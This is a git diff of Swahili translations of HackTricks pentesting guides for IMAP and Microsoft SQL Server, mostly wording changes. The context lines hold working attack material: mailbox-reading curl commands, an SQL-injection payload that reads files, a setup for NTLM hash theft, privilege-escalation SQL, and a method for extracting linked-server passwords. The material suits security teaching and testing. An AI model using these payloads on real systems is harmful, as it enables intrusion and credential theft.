* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>

View file

@ -1,4 +1,4 @@
# 143,993 - Kupima IMAP
# 143,993 - Kupima Usalama wa IMAP
<details>
@ -6,7 +6,7 @@
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -16,7 +16,7 @@ Njia nyingine za kusaidia HackTricks:
**Kikundi cha Usalama cha Kujitahidi**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -24,11 +24,11 @@ Njia nyingine za kusaidia HackTricks:
## Itifaki ya Kufikia Ujumbe wa Mtandao
**Itifaki ya Kufikia Ujumbe wa Mtandao (IMAP)** imeundwa kwa lengo la kuruhusu watumiaji **kufikia ujumbe wao wa barua pepe kutoka mahali popote**, hasa kupitia muunganisho wa Mtandao. Kimsingi, barua pepe zinabaki kwenye **server** badala ya kupakuliwa na kuhifadhiwa kwenye kifaa cha mtu binafsi. Hii inamaanisha kwamba wakati barua pepe inapofikiwa au kusomwa, inafanywa **moja kwa moja kutoka kwenye server**. Uwezo huu unaruhusu urahisi wa kuangalia barua pepe kutoka kwenye **vifaa vingi**, kuhakikisha kwamba hakuna ujumbe unaopotea bila kujali kifaa kilichotumika.
**Itifaki ya Kufikia Ujumbe wa Mtandao (IMAP)** imeundwa kwa lengo la kuruhusu watumiaji **kufikia ujumbe wao wa barua pepe kutoka mahali popote**, hasa kupitia muunganisho wa Mtandao. Kimsingi, barua pepe zinabaki kwenye **server** badala ya kupakuliwa na kuhifadhiwa kwenye kifaa cha mtu binafsi. Hii inamaanisha kwamba wakati barua pepe inapofikiwa au kusomwa, inafanywa **moja kwa moja kutoka kwenye server**. Uwezo huu unaruhusu urahisi wa kuangalia barua pepe kutoka kwenye **vifaa vingi**, kuhakikisha kwamba hakuna ujumbe unaopotea bila kujali kifaa kinachotumiwa.
Kwa chaguo-msingi, itifaki ya IMAP hufanya kazi kwenye bandari mbili:
* **Bandari 143** - hii ni bandari isiyo salama ya IMAP ya chaguo-msingi
* **Bandari 143** - hii ni bandari isiyojumuishwa ya IMAP ya chaguo-msingi
* **Bandari 993** - hii ndio bandari unayohitaji kutumia ikiwa unataka kuunganisha kwa kutumia IMAP kwa usalama
```
PORT STATE SERVICE REASON
@ -50,11 +50,11 @@ root@kali: telnet example.com 143
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
+ TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA
```
Au **automatize** hii na **nmap** plugin `imap-ntlm-info.nse`
Au **automatize** hii na **nmap** programu-jalizi `imap-ntlm-info.nse`
### [IMAP Bruteforce](../generic-methodologies-and-resources/brute-force.md#imap)
## Sintaksia
## Muundo
Mifano ya Amri za IMAP kutoka [hapa](https://donsutherland.org/crib/imap):
```
@ -123,10 +123,12 @@ curl -k 'imaps://1.2.3.4/INBOX?ALL' --user user:pass
```
Matokeo ya utafutaji huu ni orodha ya viashiria vya ujumbe.
Pia niwezekano wa kutoa vigezo vya utafutaji vya kina zaidi. k.m. kutafuta rasimu zenye nenosiri kwenye mwili wa barua:
Pia niwezekano wa kutoa vigezo vya utafutaji vya kina zaidi. mfano kutafuta rasimu zenye nenosiri kwenye mwili wa barua:
```bash
curl -k 'imaps://1.2.3.4/Drafts?TEXT password' --user user:pass
```
Aina nzuri ya kutazama maneno ya kutafuta inapatikana [hapa](https://www.atmail.com/blog/imap-commands/).
3. Kupakua ujumbe (amri ya imap `SELECT Drafts` na kisha `FETCH 1 BODY[]`)
```bash
curl -k 'imaps://1.2.3.4/Drafts;MAILINDEX=1' --user user:pass
@ -154,9 +156,9 @@ done
* `port:143 UWEZO`
* `port:993 UWEZO`
**Kikundi cha Usalama wa Kujaribu Kwa Bidii**
**Kikundi cha Usalama la Kujaribu Kwa Bidii**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -192,14 +194,14 @@ Command: msfconsole -q -x 'use auxiliary/scanner/imap/imap_version; set RHOSTS {
```
<details>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>

View file

@ -1,22 +1,22 @@
# 1433 - Kupima MSSQL - Microsoft SQL Server
# 1433 - Kupima Usalama wa MSSQL - Microsoft SQL Server
<details>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
**Kikundi cha Usalama cha Kujitahidi Kwa Bidii**
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -26,19 +26,19 @@ Njia nyingine za kusaidia HackTricks:
Kutoka [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):
> **Microsoft SQL Server** ni **mfumo wa usimamizi wa database** wa uhusiano ulioundwa na Microsoft. Kama seva ya database, ni bidhaa ya programu yenye kazi kuu ya kuhifadhi na kurejesha data kama inavyotakiwa na programu nyingine—ambazo zinaweza kukimbia kwenye kompyuta ile ile au kwenye kompyuta nyingine kwenye mtandao (ikiwa ni pamoja na Mtandao).
> **Microsoft SQL Server** ni **mfumo wa usimamizi wa database** wa uhusiano ulioundwa na Microsoft. Kama seva ya database, ni bidhaa ya programu yenye kazi kuu ya kuhifadhi na kurejesha data kama inavyotakiwa na programu nyingine—ambazo zinaweza kukimbia kwenye kompyuta ile ile au kwenye kompyuta nyingine kupitia mtandao (ikiwa ni pamoja na Mtandao).
**Bandari ya default:** 1433
**Bandari ya chaguo:** 1433
```
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
```
### **Majedwali ya Mfumo wa MS-SQL ya Kimsingi**
### **Majedwali ya Mfumo wa MS-SQL ya Ufafanuzi**
* **Database ya msingi**: Hii ni database muhimu kwani inakamata maelezo yote ya kiwango cha mfumo kwa kipengee cha SQL Server.
* **Database ya msingi (master)**: Hii ni database muhimu kwani inakamata maelezo yote ya kiwango cha mfumo kwa kipengee cha SQL Server.
* **Database ya msdb**: SQL Server Agent hutumia database hii kusimamia ratiba za tahadhari na kazi.
* **Database ya mfano**: Inafanya kazi kama kielelezo kwa kila database mpya kwenye kipengee cha SQL Server, ambapo mabadiliko yoyote kama ukubwa, usanidi, mfano wa kupona, na zaidi yanafanana katika databases zilizoundwa hivi karibuni.
* **Database ya Rasilimali**: Database isiyoweza kuhaririwa ambayo ina vitu vya mfumo vinavyokuja na SQL Server. Vitu hivi, ingawa vimehifadhiwa kimwili kwenye database ya Rasilimali, kwa mantiki vinaonyeshwa kwenye schema ya sys ya kila database.
* **Database ya tempdb**: Inafanya kama eneo la kuhifadhi la muda kwa vitu vya muda au seti za matokeo ya kati.
* **Database ya mfano (model)**: Inafanya kazi kama kielelezo kwa kila database mpya kwenye kipengee cha SQL Server, ambapo mabadiliko yoyote kama ukubwa, usanidi, mfano wa kupona, na zaidi yanafanana kwenye databases zilizoundwa hivi karibuni.
* **Database ya Rasilimali (Resource)**: Database isiyoweza kuhaririwa ambayo ina vitu vya mfumo vinavyokuja na SQL Server. Vitu hivi, ingawa vimehifadhiwa kimwili kwenye database ya Rasilimali, kwa mantiki vinaonyeshwa kwenye schema ya sys ya kila database.
* **Database ya tempdb**: Inafanya kazi kama eneo la kuhifadhi la muda kwa vitu vya muda au seti za matokeo ya kati.
## Uchambuzi
@ -88,7 +88,7 @@ msf> use windows/manage/mssql_local_auth_bypass
```
### [**Kujaribu nguvu**](../../generic-methodologies-and-resources/brute-force.md#sql-server)
### Uchambuzi wa Mikono
### Uchambuzi wa Kibinafsi
#### Kuingia
```bash
@ -153,16 +153,16 @@ SELECT * FROM sysusers
```
#### Pata Ruhusa
1. **Inayoweza Kusimbwa:** Imetajwa kama rasilimali zinazosimamiwa na SQL Server kwa ajili ya kudhibiti ufikiaji. Hizi hugawanywa katika:
1. **Inayoweza Kusimbwa:** Imetajwa kama rasilimali zinazosimamiwa na SQL Server kwa ajili ya kudhibiti ufikiaji. Hizi hupangwa katika makundi yafuatayo:
- **Server** - Mifano ni pamoja na maktaba za data, logins, endpoints, vikundi vya upatikanaji, na majukumu ya seva.
- **Database** - Mifano hujumuisha jukumu la maktaba ya data, majukumu ya programu, schema, vyeti, katalogi za maandishi kamili, na watumiaji.
- **Database** - Mifano hujumuisha majukumu ya maktaba ya data, majukumu ya programu, schema, vyeti, katalogi za maandishi kamili, na watumiaji.
- **Schema** - Inajumuisha meza, maoni, taratibu, kazi, visawe, n.k.
2. **Ruhusa:** Zinahusishwa na inayoweza kusimbwa ya SQL Server, ruhusa kama vile ALTER, CONTROL, na CREATE zinaweza kutolewa kwa mkuu. Usimamizi wa ruhusa hufanyika katika viwango viwili:
- **Viwango vya Seva** kwa kutumia logins
- **Viwango vya Maktaba ya Data** kwa kutumia watumiaji
2. **Ruhusa:** Zinahusishwa na inayoweza kusimbwa ya SQL Server, ruhusa kama vile ALTER, CONTROL, na CREATE zinaweza kutolewa kwa mada. Usimamizi wa ruhusa hufanyika katika viwango viwili:
- **Kiwanja cha Seva** kwa kutumia logins
- **Kiwanja cha Maktaba ya Data** kwa kutumia watumiaji
3. **Mkuu:** Istilahi hii inahusu kifaa ambacho kimetolewa ruhusa ya inayoweza kusimbwa. Wakuu kwa kiasi kikubwa ni pamoja na logins na watumiaji wa maktaba ya data. Udhibiti wa ufikiaji wa inayoweza kusimbwa hufanywa kupitia kutoa au kukataa ruhusa au kwa kujumuisha logins na watumiaji katika majukumu yenye haki za ufikiaji.
3. **Mada:** Istilahi hii inahusu kifaa ambacho kimetolewa ruhusa ya inayoweza kusimbwa. Mambo muhimu yanajumuisha logins na watumiaji wa maktaba ya data. Udhibiti wa ufikiaji wa inayoweza kusimbwa hufanywa kwa kutoa au kukataa ruhusa au kwa kuwaingiza logins na watumiaji katika majukumu yenye haki za ufikiaji.
```sql
# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
@ -187,7 +187,7 @@ EXEC sp_helprotect 'xp_cmdshell'
### Tekeleza Amri za OS
{% hint style="danger" %}
Tafadhali kumbuka kwamba ili uweze kutekeleza amri, siyo tu ni muhimu kuwa na **`xp_cmdshell`** **imezimwa**, bali pia kuwa na **ruhusa ya KUTEKELEZA kwenye taratibu iliyohifadhiwa ya `xp_cmdshell`**. Unaweza kupata ni nani (isipokuwa sysadmins) wanaweza kutumia **`xp_cmdshell`** na:
Tafadhali kumbuka kwamba ili uweze kutekeleza amri, siyo tu ni muhimu kuwa na **`xp_cmdshell`** **imezimwa**, bali pia kuwa na **ruhusa ya KUTEKELEZA kwenye utaratibu uliowekwa wa `xp_cmdshell`**. Unaweza kupata ni nani (isipokuwa sysadmins) wanaweza kutumia **`xp_cmdshell`** na:
```sql
Use master
EXEC sp_helprotect 'xp_cmdshell'
@ -235,7 +235,7 @@ sudo impacket-smbserver share ./ -smb2support
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer
```
{% hint style="warning" %}
Unaweza kuangalia ni nani (isipokuwa sysadmins) ana ruhusa ya kuendesha hizo kazi za MSSQL kwa:
Unaweza kuangalia ni nani (isipokuwa sysadmins) ana ruhusa ya kutekeleza hizo kazi za MSSQL kwa:
```sql
Use master;
EXEC sp_helprotect 'xp_dirtree';
@ -261,7 +261,7 @@ Unaweza kuona jinsi ya kutumia zana hizi katika:
### **Andika Faili**
Kuandika faili kwa kutumia `MSSQL`, tunahitaji **kuwezesha** [**Taratibu za Ole Automation**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), ambayo inahitaji mamlaka ya msimamizi, na kisha kutekeleza taratibu zilizohifadhiwa ili kuunda faili:
Kuandika faili kwa kutumia `MSSQL`, **tunahitaji kuwezesha** [**Taratibu za Ole Automation**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), ambayo inahitaji mamlaka ya msimamizi, na kisha kutekeleza taratibu zilizohifadhiwa ili kuunda faili:
```bash
# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
@ -281,16 +281,16 @@ EXECUTE sp_OADestroy @OLE
```
### **Soma faili kwa** OPENROWSET
Kwa chaguo-msingi, `MSSQL` inaruhusu faili **kusomwa kwenye faili yoyote kwenye mfumo wa uendeshaji ambao akaunti ina ufikiaji wa kusoma**. Tunaweza kutumia swali la SQL lifuatalo:
Kwa chaguo-msingi, `MSSQL` inaruhusu **kusoma faili yoyote kwenye mfumo wa uendeshaji ambao akaunti ina ufikiaji wa kusoma**. Tunaweza kutumia swali la SQL lifuatalo:
```sql
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
```
Hata hivyo, chaguo la **`BULK`** linahitaji idhini ya **`ADMINISTER BULK OPERATIONS`** au idhini ya **`ADMINISTER DATABASE BULK OPERATIONS`**.
Hata hivyo, chaguo la **`BULK`** linahitaji ruhusa ya **`ADMINISTER BULK OPERATIONS`** au **`ADMINISTER DATABASE BULK OPERATIONS`**.
```sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
```
#### Kosa-msingi wa kuingiza kwa SQLi:
#### Kosa-msingi wa vector kwa SQLi:
```
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
```
@ -318,7 +318,7 @@ GO
```
### Soma Usajili
Microsoft SQL Server hutoa **taratibu nyingi za kuhifadhi zilizopanuliwa** ambazo kuruhusu wewe kuingiliana si tu na mtandao bali pia na mfumo wa faili na hata [**Usajili wa Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
Microsoft SQL Server hutoa **taratibu nyingi za kuhifadhi zilizopanuliwa** ambazo kuruhusu wewe kuingiliana si tu na mtandao bali pia na mfumo wa faili na hata [**Usajili wa Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server)**:**
| **Kawaida** | **Inayotambua-Instance** |
| ---------------------------- | -------------------------------------- |
@ -341,7 +341,7 @@ Use master;
EXEC sp_helprotect 'xp_regread';
EXEC sp_helprotect 'xp_regwrite';
```
Kwa **mfano zaidi** angalia [**chanzo cha asili**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/).
Kwa **mifano zaidi** angalia [**chanzo cha asili**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/).
### RCE na MSSQL User Defined Function - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
@ -351,14 +351,14 @@ Inawezekana **kupakia dll ya .NET ndani ya MSSQL na kazi za desturi**. Hata hivy
### Njia Nyingine za RCE
Kuna njia nyingine za kupata utekelezaji wa amri, kama vile kuongeza [taratibu za kuhifadhiwa zilizopanuliwa](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [Mkusanyiko wa CLR](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [Kazi za SQL Server Agent](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), na [maandishi ya nje](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
Kuna njia nyingine za kupata utekelezaji wa amri, kama vile kuongeza [taratibu za kuhifadhiwa zilizoziduliwa](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [Mkusanyiko wa CLR](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [Kazi za SQL Server Agent](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), na [maandishi ya nje](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
## Ukarabati wa Mamlaka wa MSSQL
## Ukarabati wa Hadhi wa MSSQL
### Kutoka db\_owner hadi sysadmin
Ikiwa **mtumiaji wa kawaida** anapewa jukumu la **`db_owner`** juu ya **database iliyo milikiwa na mtumiaji wa admin** (kama vile **`sa`**) na database hiyo imeboreshwa kama **`trustworthy`**, mtumiaji huyo anaweza kutumia mamlaka haya kwa **privesc** kwa sababu taratibu zilizohifadhiwa zilizoundwa hapo zinaweza **kutekelezwa** kama mmiliki (**admin**).
Ikiwa **mtumiaji wa kawaida** anapewa jukumu la **`db_owner`** juu ya **database iliyo milikiwa na mtumiaji wa admin** (kama vile **`sa`**) na database hiyo imeboreshwa kama **`trustworthy`**, mtumiaji huyo anaweza kutumia mamlaka haya kwa **kuongeza hadhi** kwa sababu taratibu zilizohifadhiwa zilizoundwa hapo zinaweza **kutekelezwa** kama mmiliki (**admin**).
```sql
# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases
@ -420,7 +420,7 @@ SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
```
{% hint style="info" %}
Ikiwa unaweza kujifanya kuwa mtumiaji, hata kama yeye si sysadmin, unapaswa kuangalia **kama mtumiaji ana ufikiaji** wa **databases** au seva zilizounganishwa.
Ikiwa unaweza kujifanya kuwa mtumiaji, hata kama si sysadmin, unapaswa kuangalia **i**ki mtumiaji ana **upatikanaji** wa **databases** au seva zilizounganishwa.
{% endhint %}
Tafadhali kumbuka kwamba mara tu unapokuwa sysadmin unaweza kujifanya kuwa mtumiaji mwingine yeyote:
@ -433,7 +433,7 @@ SELECT IS_SRVROLEMEMBER('sysadmin')
-- Change back to sa
REVERT
```
Unaweza kutekeleza shambulio hili kwa kutumia moduli ya **metasploit**:
Unaweza kutekeleza shambulio hili kwa moduli ya **metasploit**:
```bash
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
```
@ -443,34 +443,34 @@ au kwa skripti ya **PS**:
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!
```
## Kutumia MSSQL kwa Uthabiti
## Kutumia MSSQL kwa Uimara
[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)
## Kuchambua Nywila kutoka kwa Seva za SQL Server Zilizounganishwa
Mshambuliaji anaweza kuchambua nywila za Seva za SQL Zilizounganishwa kutoka kwa Mifano ya SQL na kuzipata kwa maandishi wazi, hivyo kupatia mshambuliaji nywila ambazo zinaweza kutumika kupata msingi mkubwa zaidi kwenye lengo.
Script ya kuchambua na kufichua nywila zilizohifadhiwa kwa Seva Zilizounganishwa inaweza kupatikana [hapa](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
## Kuchota Nywila kutoka kwa Seva za SQL Server Zilizounganishwa
Mshambuliaji anaweza kuchota nywila za Seva za SQL Server Zilizounganishwa kutoka kwa Mifano ya SQL na kuzipata kwa maandishi wazi, hivyo kumpa mshambuliaji nywila ambazo zinaweza kutumika kupata msingi mkubwa zaidi kwenye lengo.
Skripti ya kuchota na kufichua nywila zilizohifadhiwa kwa Seva Zilizounganishwa inaweza kupatikana [hapa](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
Baadhi ya mahitaji na mipangilio lazima ifanywe ili shambulio hili lifanye kazi.
Baadhi ya mahitaji na mipangilio lazima ifanywe ili kashfa hii ifanye kazi.
Kwanza kabisa, lazima uwe na Haki za Msimamizi kwenye mashine, au uwezo wa kusimamia Mipangilio ya Seva ya SQL.
Baada ya kuthibitisha ruhusa zako, unahitaji kusanidi mambo matatu, ambayo ni haya yafuatayo:
1. Wezesha TCP/IP kwenye mifano ya SQL Server;
2. Ongeza Parameta ya Kuanza, katika kesi hii, bendera ya kufuatilia itaongezwa, ambayo ni -T7806.
3. Wezesha uhusiano wa msimamizi wa mbali.
3. Wezesha uunganisho wa msimamizi wa mbali.
Ili kiotomatiki mipangilio hii, [repo hii](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) ina hati zinazohitajika.
Mbali na kuwa na hati ya powershell kwa kila hatua ya usanidi, repo pia ina hati kamili ambayo inachanganya hati za usanidi na uchambuzi na ufichuaji wa nywila.
Ili kiotomatiki mipangilio hii, [repo hii](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) ina skripti zinazohitajika.
Mbali na kuwa na skripti ya powershell kwa kila hatua ya usanidi, repo pia ina skripti kamili ambayo inachanganya skripti za usanidi na kuchota na kufichua nywila.
Kwa habari zaidi, tazama viungo vifuatavyo kuhusu shambulio hili:
[Ufichuaji wa Nywila za Seva za Link za Database za MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
Kwa habari zaidi, tazama viungo vifuatavyo kuhusu shambulizi hili:
[Ufichuaji wa Nywila za Seva za Uunganisho wa MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
[Kutatua Matatizo ya Uhusiano wa Msimamizi wa Kujitolea wa SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
[Kutatua Matatizo ya Uunganisho wa Msimamizi wa Kujitolea wa SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
## Kupandisha Hadhi ya Mamlaka ya Kienyeji
Mtumiaji anayeendesha seva ya MSSQL atakuwa amewezesha token ya mamlaka **SeImpersonatePrivilege.**\
Huenda utaweza **kupanda hadhi hadi Msimamizi** kufuata moja ya kurasa hizi 2:
Mtumiaji anayekimbia seva ya MSSQL atakuwa amewezesha tokeni ya mamlaka **SeImpersonatePrivilege.**\
Huenda utaweza **kupanda hadhi hadi Msimamizi** kufuatia moja ya kurasa hizi 2:
{% content-ref url="../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md" %}
[roguepotato-and-printspoofer.md](../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md)
@ -484,7 +484,7 @@ Huenda utaweza **kupanda hadhi hadi Msimamizi** kufuata moja ya kurasa hizi 2:
* `port:1433 !HTTP`
## Marejeleo
## Marejeo
* [https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users)
* [https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/)
@ -495,7 +495,7 @@ Huenda utaweza **kupanda hadhi hadi Msimamizi** kufuata moja ya kurasa hizi 2:
* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}

View file

@ -4,9 +4,9 @@
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
